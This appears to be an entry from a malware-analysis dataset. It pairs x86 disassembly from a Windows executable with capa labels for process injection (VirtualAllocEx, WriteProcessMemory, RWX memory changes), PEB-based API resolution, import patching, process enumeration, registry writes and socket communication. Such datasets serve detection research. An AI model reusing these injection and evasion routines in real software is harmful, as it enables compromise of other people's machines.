joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4064a9
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push ebx
push esi
xor ebx, ebx
push ebx
push 2
push 2
call dword [sym.imp.ws2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4064cf
xor al, al
jmp 0x406643
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x5f0
lea eax, [ebp - 0x61c]
push eax
push ebx
push ebx
push 0x4004747f
push esi
mov dword [ebp - 8], ebx
call dword [sym.imp.ws2_32.dll_WSAIoctl]
push esi
call dword [sym.imp.ws2_32.dll_closesocket]
mov eax, dword [ebp - 8]
push 0x4c
xor edx, edx
pop ecx
div ecx
xor esi, esi
mov byte [ebp - 1], 1
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], eax
cmp eax, ebx
jbe 0x40663d
push edi
lea edi, [ebp - 0x618]
test byte [edi - 4], 1
je 0x406619
mov eax, edi
call fcn.0040617b
test al, al
jne 0x406619
cmp byte [ebp - 1], bl
je 0x4065d5
mov eax, dword [0x411b04]
movzx ecx, byte [eax + 0x24]
movzx ebx, byte [eax + 0x26]
lea eax, [ecx + eax + 0x12c]
push eax
lea eax, [ebp - 0x14]
call fcn.00409c4d
mov esi, eax
test esi, esi
je 0x4065cf
push dword [ebp - 0x14]
call fcn.0040d42e
xor esi, esi
mov dword [ebp - 0x18], eax
test eax, eax
je 0x4065c7
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
mov eax, dword [0x411b04]
movzx esi, word [eax + 0x28]
xor eax, eax
push eax
push 0x84043300
push eax
push eax
push dword [ebp - 0x18]
push dword [ebp + 8]
call dword [0x411a80]
test eax, eax
jne 0x4065a9
xor esi, esi
jmp 0x4065b5
push eax
push esi
lea esi, [ebp - 0xc]
call fcn.00406133
mov esi, eax
call dword [sym.imp.kernel32.dll_GetTickCount]
sub eax, dword [ebx]
push dword [ebp - 0x18]
mov dword [ebx], eax
call fcn.0040d2af
push dword [ebp - 0x14]
call fcn.0040d2af
mov byte [ebp - 1], 0
xor ebx, ebx
cmp esi, ebx
je 0x40663c
movzx eax, byte [edi + 7]
push eax
movzx eax, byte [edi + 6]
push eax
movzx eax, byte [edi + 5]
push eax
movzx eax, byte [edi + 4]
push eax
mov eax, dword [0x411a6c]
push dword [eax + 0x7c]
lea eax, [ebp - 0x2c]
push 0x14
push eax
call dword [0x411bf0]
add esp, 0x1c
push ebx
push ebx
push ebx
push esi
push dword [ebp - 0xc]
mov edx, eax
lea ecx, [ebp - 0x2c]
call fcn.0040944a
test al, al
jne 0x40662d
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add edi, 0x4c
cmp eax, dword [ebp - 8]
jb 0x406521
jmp 0x406630
mov dword [ebp - 8], ebx
cmp esi, ebx
je 0x40663c
push dword [ebp - 0xc]
call fcn.0040d2af
pop edi
cmp dword [ebp - 8], ebx
setne al
pop esi
pop ebx
leave
ret 8
Function at 0x406649
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
mov esi, dword [eax + edi + 0x78]
and dword [ebp + 8], 0
add esi, edi
cmp dword [esi + 0x18], 0
jbe 0x406691
mov ebx, dword [esi + 0x20]
add ebx, edi
test ebx, ebx
je 0x406683
mov ecx, dword [ebx]
push dword [ebp + 0xc]
or eax, 0xffffffff
add ecx, edi
or edx, eax
call fcn.0040d6da
test eax, eax
je 0x40669a
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
add ebx, 4
cmp eax, dword [esi + 0x18]
jb 0x40666a
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
jmp 0x406693

Function at 0x4066b4
Capabilities:
Access peb ldr_data

Disassembly:
push ebx
xor ebx, ebx
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
cmp ebx, 0
je 0x4066f2
push dword [0x4019b0]
push ebx
call fcn.00406649
mov dword [sym.imp.kernel32.dll_LoadLibraryA], eax
push dword [0x4019b4]
push ebx
call fcn.00406649
mov dword [reloc.kernel32.dll_GetProcAddress], eax
pop ebx
ret
Function at 0x4066f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [0x411c20]
push esi
mov esi, dword [ebx + 0x3c]
push edi
push 1
mov edi, 0x2000
push edi
add esi, ebx
push dword [esi + 0x50]
mov dword [ebp - 0x14], ebx
push dword [esi + 0x34]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
test eax, eax
jne 0x406747
push 1
push edi
push dword [esi + 0x50]
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
test eax, eax
jne 0x406747
xor eax, eax
jmp 0x4068a3
mov eax, dword [esi + 0x50]
test eax, eax
jbe 0x406758
call fcn.0040d29c
mov dword [ebp - 4], eax
jmp 0x40675c
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x406740
push dword [esi + 0x50]
push ebx
push dword [ebp - 4]
call fcn.0040d2eb
mov eax, dword [esi + 0xa0]
test eax, eax
je 0x4067e1
cmp dword [esi + 0xa4], 0
je 0x4067e1
mov ecx, dword [esi + 0x34]
mov edx, dword [ebp - 8]
mov edi, ebx
sub edx, ecx
sub edi, ecx
mov ecx, dword [ebp - 4]
add eax, ecx
jmp 0x4067dc
mov ecx, dword [eax + 4]
cmp ecx, 8
jb 0x4067d9
add ecx, 0xfffffff8
shr ecx, 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0
je 0x4067d9
mov ecx, dword [ebp - 0xc]
movzx ecx, word [eax + ecx*2 + 8]
test cx, cx
je 0x4067cb
and ecx, 0xfff
add ecx, dword [eax]
mov ebx, edx
add ecx, dword [ebp - 4]
sub ebx, edi
add dword [ecx], ebx
inc dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x10]
jb 0x4067ad
mov ebx, dword [ebp - 0x14]
add eax, dword [eax + 4]
cmp dword [eax], 0
jne 0x406794
mov edi, dword [esi + 0x54]
push 4
push 0x1000
push edi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
test eax, eax
je 0x406740
push 0
push edi
push ebx
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
lea eax, [ebp - 0x10]
push eax
push 2
push edi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
movzx eax, word [esi + 0x14]
and dword [ebp - 0xc], 0
lea edi, [eax + esi + 0x18]
xor eax, eax
cmp ax, word [esi + 6]
jae 0x406898
add edi, 8
mov eax, dword [edi + 4]
add eax, dword [ebp - 8]
push 4
push 0x1000
push dword [edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x406740
mov eax, dword [edi + 4]
add eax, dword [ebp - 4]
push 0
push dword [edi]
push eax
push ebx
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
push 0x40
pop eax
lea ecx, [ebp - 0x10]
push ecx
push eax
mov dword [ebp - 0x10], eax
push dword [edi]
push ebx
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
movzx eax, word [esi + 6]
add edi, 0x28
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], eax
jb 0x40683a
push dword [ebp - 4]
call fcn.0040d2af
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4068aa
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [0x411a68]
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
push esi
xor ebx, ebx
call dword [sym.imp.kernel32.dll_VirtualQueryEx]
test eax, eax
je 0x406915
cmp dword [ebp - 0xc], 1
je 0x406915
test dword [ebp - 0xc], 0x100
jne 0x406915
cmp dword [ebp - 0x14], ebx
je 0x406915
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push edi
push esi
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
test eax, eax
je 0x406915
push ebx
push 4
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
mov ebx, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push edi
push esi
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
xor eax, eax
test ebx, ebx
pop esi
setne al
pop ebx
leave
ret 4

Function at 0x406922
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, eax
test esi, esi
jne 0x40696d
push 4
push edi
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
jne 0x406997
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x406997
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x406997
lea esi, [eax + 0x80]
push 8
push esi
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
jne 0x406997
cmp dword [esi + 4], eax
je 0x406997
mov esi, dword [esi]
test esi, esi
je 0x406997
add esi, edi
push ebx
push 0x14
push esi
xor bl, bl
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
jne 0x4069c5
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4069c1
push 2
add eax, edi
push eax
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
je 0x40699b
mov bl, 1
jmp 0x4069b1
xor eax, eax
jmp 0x4069de
mov eax, dword [esi + 0xc]
push dword [esp + 0xc]
add eax, edi
push eax
xor bl, bl
call dword [sym.imp.kernel32.dll_lstrcmpi]
test eax, eax
je 0x4069c5
push 0x14
add esi, 0x14
push esi
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
je 0x40697d
test bl, bl
jne 0x4069db
push 0x14
push esi
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
jne 0x4069db
cmp dword [esi + 0xc], eax
je 0x4069db
mov eax, esi
jmp 0x4069dd
xor eax, eax
pop ebx
pop esi
ret 4
Function at 0x4069e2
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp byte [ebp + 0x14], 2
mov eax, dword [ebp + 0xc]
push ebx
jne 0x4069f9
mov eax, dword [eax + 0x10]
jmp 0x4069fb
mov eax, dword [eax]
test eax, eax
jne 0x406a06
xor al, al
jmp 0x406ae4
mov ecx, dword [ebp + 8]
push edi
lea ebx, [eax + ecx]
push 4
push ebx
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
jne 0x406ab1
push esi
mov eax, dword [ebx]
test eax, eax
je 0x406ab0
cmp byte [ebp + 0x14], 2
jne 0x406a34
cmp eax, dword [ebp + 0x10]
jmp 0x406a9a
cmp byte [ebp + 0x14], 0
jne 0x406a46
test eax, eax
jns 0x406a9c
movzx eax, ax
cmp dword [ebp + 0x10], eax
jmp 0x406a9a
cmp byte [ebp + 0x14], 1
jne 0x406a9c
test eax, eax
js 0x406a9c
mov ecx, dword [ebp + 8]
lea esi, [eax + ecx]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push esi
push dword [0x411a68]
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
test eax, eax
je 0x406a9c
mov ecx, dword [ebp + 0x10]
lea eax, [esi + 2]
or edx, 0xffffffff
push eax
mov eax, edx
call fcn.0040d6da
mov edi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push esi
push dword [0x411a68]
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
test edi, edi
je 0x406ab0
push 4
add ebx, 4
push ebx
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
je 0x406a1f
pop esi
push 4
push ebx
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
jne 0x406ae1
cmp dword [ebx], eax
je 0x406ae1
cmp byte [ebp + 0x14], 2
jne 0x406acc
mov edi, ebx
jmp 0x406ad6
mov eax, dword [ebp + 0xc]
mov edi, dword [eax + 0x10]
sub edi, dword [eax]
add edi, ebx
lea eax, [ebp + 0x18]
push eax
call fcn.004068aa
jmp 0x406ae3
xor al, al
pop edi
pop ebx
leave
ret 0x14

Function at 0x406c82
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
lea eax, [ebp - 4]
push eax
push 0x18
lea eax, [ebp - 0x1c]
push eax
xor esi, esi
push esi
push dword [ebp + 0x18]
call dword [0x411b84]
test eax, eax
jne 0x406d12
cmp dword [ebp - 0x18], esi
je 0x406d12
mov dword [ebp - 4], esi
cmp dword [ebp - 0xc], esi
je 0x406cfb
push edi
push esi
push 4
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, esi
je 0x406cf5
lea eax, [ebp - 0x38]
push eax
push edi
mov dword [ebp - 0x38], 0x1c
call dword [sym.imp.kernel32.dll_Thread32First]
jmp 0x406cea
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xc]
jne 0x406cdf
inc dword [ebp - 4]
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.kernel32.dll_Thread32Next]
test eax, eax
jne 0x406cd4
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
cmp dword [ebp - 4], esi
jne 0x406d12
push dword [ebp + 0x18]
call fcn.004066f4
cmp eax, esi
je 0x406d12
mov ecx, dword [ebp + 8]
add eax, ecx
mov dword [ebx + 0xb0], eax
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push ebx
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [0x411b7c]
pop esi
leave
ret 0x20
Function at 0x40765c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 8]
push eax
push 1
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40769e
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x407695
mov bl, 1
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov al, bl
pop ebx
pop ebp
ret 0x18

Function at 0x4076a5
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push ebx
lea eax, [ebp + 8]
push eax
push ebx
push 2
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4076eb
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegSetValueExW]
test eax, eax
jne 0x4076e2
mov bl, 1
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov al, bl
pop ebx
pop ebp
ret 0x18

Function at 0x4076f2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push ebx
lea ecx, [ebp - 4]
push ecx
push ebx
push 2
push ebx
push ebx
push ebx
mov eax, 0x80000001
push 0x401c30
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
test eax, eax
jne 0x407742
push dword [ebp + 0xc]
push dword [ebp + 8]
push 1
push ebx
push 0x401c24
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegSetValueExA]
test eax, eax
jne 0x407739
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret 8
Function at 0x40833f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x2710
push esi
push 4
pop ebx
push ebx
lea eax, [esp + 0x20]
push eax
call fcn.0040e492
cmp eax, ebx
jne 0x408527
push esi
push ebx
lea eax, [esp + 0x14]
push eax
call fcn.0040e492
cmp eax, ebx
jne 0x408527
mov eax, dword [esp + 0xc]
cmp eax, 0xffff
ja 0x408527
test eax, eax
jbe 0x40839c
call fcn.0040d29c
mov dword [esp + 0x10], eax
jmp 0x4083a1
and dword [esp + 0x10], 0
cmp dword [esp + 0x10], 0
je 0x408527
push esi
push dword [esp + 0x10]
push dword [esp + 0x18]
call fcn.0040e492
cmp eax, dword [esp + 0xc]
jne 0x40851e
cmp dword [esp + 0x18], 0xa
je 0x408405
cmp dword [esp + 0x18], 0x14
jne 0x40851e
cmp dword [esp + 0xc], ebx
jb 0x40851e
push 0
push dword [esp + 0x10]
push dword [esp + 0x18]
push edi
call dword [sym.imp.ws2_32.dll_send]
cmp eax, dword [esp + 0xc]
jne 0x40851e
call fcn.0040a68d
jmp 0x40851e
mov eax, dword [0x411a6c]
mov edi, dword [eax + 0x80]
mov dword [esp + 0x1c], 0x32
call fcn.0040d3fe
mov dword [esp + 0x14], eax
cmp dword [esp + 0xc], ebx
jb 0x40844f
mov edx, dword [esp + 0x10]
push ebx
push edx
lea eax, [esp + 0x24]
push eax
call fcn.0040d2eb
mov eax, dword [esp + 0xc]
cmp eax, ebx
jbe 0x40844f
add edx, 4
add eax, 0xfffffffc
push edx
call fcn.0040d667
mov dword [esp + 0x14], eax
xor ebx, ebx
cmp dword [esp + 0x14], ebx
je 0x40851e
push ebx
push dword [esp + 0x20]
push dword [esp + 0x1c]
call fcn.00407e6d
mov edi, eax
mov dword [esp + 0x1c], edi
cmp edi, ebx
je 0x408515
mov eax, dword [edi]
push 1
lea ecx, [esp + 0x24]
push ecx
push edi
call dword [eax + 0x30]
test eax, eax
jne 0x40850f
push ebx
push 8
lea eax, [esp + 0x30]
push eax
push dword [ebp + 8]
mov dword [esp + 0x3c], 0x1000
call dword [sym.imp.ws2_32.dll_send]
mov eax, dword [esp + 0x2c]
cmp eax, ebx
jbe 0x4084b4
call fcn.0040d29c
mov ebx, eax
test ebx, ebx
je 0x40850f
jmp 0x4084be
mov edi, dword [esp + 0x1c]
mov eax, dword [edi]
lea ecx, [esp + 0xc]
push ecx
push dword [esp + 0x30]
push ebx
push edi
call dword [eax + 0xc]
test eax, eax
jne 0x408509
cmp dword [esp + 0xc], eax
je 0x408509
push eax
push dword [esp + 0x10]
push ebx
push dword [ebp + 8]
call dword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
je 0x408509
mov edi, dword [ebp + 8]
push esi
push 4
push ebx
call fcn.0040e492
cmp eax, 4
jne 0x408505
mov eax, dword [ebx]
cmp eax, dword [esp + 0x2c]
je 0x4084ba
mov edi, dword [esp + 0x1c]
push ebx
call fcn.0040d2af
mov eax, dword [edi]
push edi
call dword [eax + 8]
push dword [esp + 0x14]
call fcn.0040d2af
push dword [esp + 0x10]
call fcn.0040d2af
mov esi, dword [ebp + 8]
call fcn.0040e864
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408a27
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x401dd4
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrcmpi]
test eax, eax
jne 0x408a48
movzx eax, word [0x4119fc]
jmp 0x408a5e
mov eax, dword [ebp + 8]
call fcn.0040d4dd
lea ecx, [eax - 1]
cmp ecx, 0xfffd
ja 0x408a63
movzx eax, ax
test ax, ax
jne 0x408a6a
xor al, al
jmp 0x408bee
and dword [ebp - 4], 0
rol ax, 8
movzx eax, ax
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
jne 0x408a63
mov eax, dword [ebp + 0xc]
push ebx
jmp 0x408a9d
cmp dword [eax + 4], 2
je 0x408abc
mov eax, dword [eax + 0x1c]
test eax, eax
jne 0x408a94
mov ebx, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
call dword [sym.imp.ws2_32.dll_freeaddrinfo]
mov edi, dword [ebp - 4]
test edi, edi
jne 0x408acd
xor al, al
jmp 0x408bec
mov ebx, dword [eax + 0x10]
push ebx
push dword [eax + 0x18]
call fcn.0040d302
mov dword [ebp - 4], eax
jmp 0x408aa4
push ebx
mov byte [ebp + 0xb], 0
call fcn.0040e586
mov dword [ebp + 0x10], eax
cmp eax, 0xffffffff
je 0x408be1
mov ecx, dword [0x411c8c]
test ecx, ecx
je 0x408af4
call fcn.0040d6b4
jmp 0x408af6
xor eax, eax
push esi
push ecx
push 1
push dword [ebp + 0x10]
mov esi, eax
call fcn.004087ff
test al, al
je 0x408bd8
mov byte [ebp + 0xb], 1
push 0
push 0x3e8
lea eax, [ebp + 0x10]
push eax
xor eax, eax
call fcn.0040e77c
mov esi, eax
cmp esi, 0xffffffff
jne 0x408b3a
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x274c
jne 0x408bd8
push 0
push dword [0x4119f4]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x408bd8
cmp esi, 0xffffffff
je 0x408b10
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x14]
call fcn.00408706
test al, al
je 0x408bd8
cmp byte [ebp - 0x10], 2
mov edi, dword [ebp - 8]
jne 0x408bcd
cmp word [ebp - 0x12], 4
jne 0x408bcd
push 0x10
pop eax
call fcn.0040d29c
mov esi, eax
test esi, esi
je 0x408bcd
mov ax, word [ebp - 0xc]
push ebx
push dword [ebp - 4]
mov word [esi + 8], ax
mov dword [esi + 4], ebx
mov eax, dword [edi]
mov dword [esi + 0xc], eax
call fcn.0040d302
mov dword [esi], eax
test eax, eax
je 0x408bc7
inc dword [0x4119f0]
push esi
push 0x408996
call fcn.0040a799
test eax, eax
ja 0x408bcd
dec dword [0x4119f0]
push dword [esi]
call fcn.0040d2af
push esi
call fcn.0040d2af
push edi
call fcn.0040d2af
jmp 0x408b10
mov esi, dword [ebp + 0x10]
call fcn.0040e864
pop esi
push dword [ebp - 4]
call fcn.0040d2af
mov al, byte [ebp + 0xb]
pop edi
pop ebx
leave
ret 0xc
Function at 0x408e14
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x411a6c]
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push esi
push 4
push dword [eax + 0x2c]
call fcn.00409a9b
mov dword [ebp - 0xc], eax
call dword [sym.imp.kernel32.dll_GetCurrentThread]
mov ebx, eax
push ebx
call dword [sym.imp.kernel32.dll_GetThreadPriority]
push 1
push ebx
mov dword [ebp - 0x10], eax
call dword [sym.imp.kernel32.dll_SetThreadPriority]
mov dword [ebp - 8], 3
push esi
push 2
mov dword [ebp - 0x240], 0x22c
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x240]
push ecx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.kernel32.dll_Process32FirstW]
jmp 0x408eea
mov eax, dword [ebp - 0x238]
cmp eax, esi
je 0x408eda
cmp eax, dword [0x411c14]
je 0x408eda
cmp eax, dword [ebp - 0xc]
je 0x408eda
mov eax, dword [0x411a6c]
push dword [eax + 0x54]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiW]
test eax, eax
je 0x408eda
push dword [ebp - 0x238]
push esi
push 0x43a
call dword [sym.imp.kernel32.dll_OpenProcess]
mov edi, eax
cmp edi, esi
je 0x408eda
push dword [ebp - 0x238]
call fcn.00406d33
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_Process32NextW]
test eax, eax
jne 0x408e80
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_CloseHandle]
dec dword [ebp - 8]
jne 0x408e5a
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.kernel32.dll_SetThreadPriority]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408f51
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x411b04]
movzx ecx, byte [eax + 0x26]
movzx edx, byte [eax + 0x24]
add ecx, eax
mov al, byte [eax + 0x25]
push ebx
push esi
xor ebx, ebx
lea esi, [edx + ecx + 0x12c]
xor cl, cl
mov byte [ebp - 5], bl
cmp al, bl
jbe 0x408f9c
movzx edx, cl
mov dx, word [esi + edx*2]
cmp dx, word [0x411af0]
je 0x408f98
inc cl
cmp cl, al
jb 0x408f80
jmp 0x408f9c
mov byte [ebp - 5], 1
call fcn.0040390d
push 0x411710
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
inc dword [0x4119f0]
mov esi, 0x411766
push esi
push 0x403cf0
call fcn.0040a799
cmp byte [ebp - 5], bl
jne 0x40907b
call fcn.00408e14
lea eax, [ebp - 0x19c]
push eax
push 0x202
call dword [sym.imp.ws2_32.dll_WSAStartup]
inc dword [0x4119f0]
push ebx
push 0x408584
call fcn.0040a799
mov eax, dword [0x4119f4]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.004107cf
inc dword [0x4119f0]
push esi
push 0x408c25
call fcn.0040a799
inc dword [0x4119f0]
push 0x411728
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
inc dword [0x4119f0]
push 0x401020
push ebx
lea eax, [ebp + 8]
mov dword [0x411744], ebx
mov dword [0x411740], ebx
mov dword [ebp + 8], ebx
call fcn.00407a4d
cmp eax, ebx
je 0x409062
mov ecx, eax
mov eax, dword [ebp + 8]
call fcn.0040433a
push dword [ebp + 8]
call fcn.0040d2af
push 0x4119f0
push 0x404273
call fcn.0040a799
test eax, eax
je 0x40907b
dec dword [0x4119f0]
pop esi
pop ebx
leave
ret 4
Function at 0x409952
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
call fcn.004097a9
push 0x14
pop eax
call fcn.0040d29c
mov esi, eax
xor edi, edi
cmp esi, edi
jne 0x409982
xor eax, eax
jmp 0x409a1b
push edi
push edi
mov eax, 0x200
push eax
push eax
push 0xff
push 6
push 3
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.kernel32.dll_CreateNamedPipeW]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x4099b0
push esi
call fcn.0040d2af
jmp 0x40997b
push edi
push edi
push edi
push edi
call dword [sym.imp.kernel32.dll_CreateEventW]
push edi
push edi
push edi
push edi
mov dword [esi + 4], eax
call dword [sym.imp.kernel32.dll_CreateEventW]
mov edi, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
call fcn.0040d3fe
push esi
push 0x4097ca
mov dword [esi + 0x10], eax
call fcn.0040a799
test eax, eax
jne 0x409a0e
push dword [esi]
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [esi + 8]
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [esi + 0x10]
call fcn.0040d2af
jmp 0x4099a8
push 0xffffffffffffffff
push dword [esi + 8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, esi
pop edi
pop esi
leave
ret 8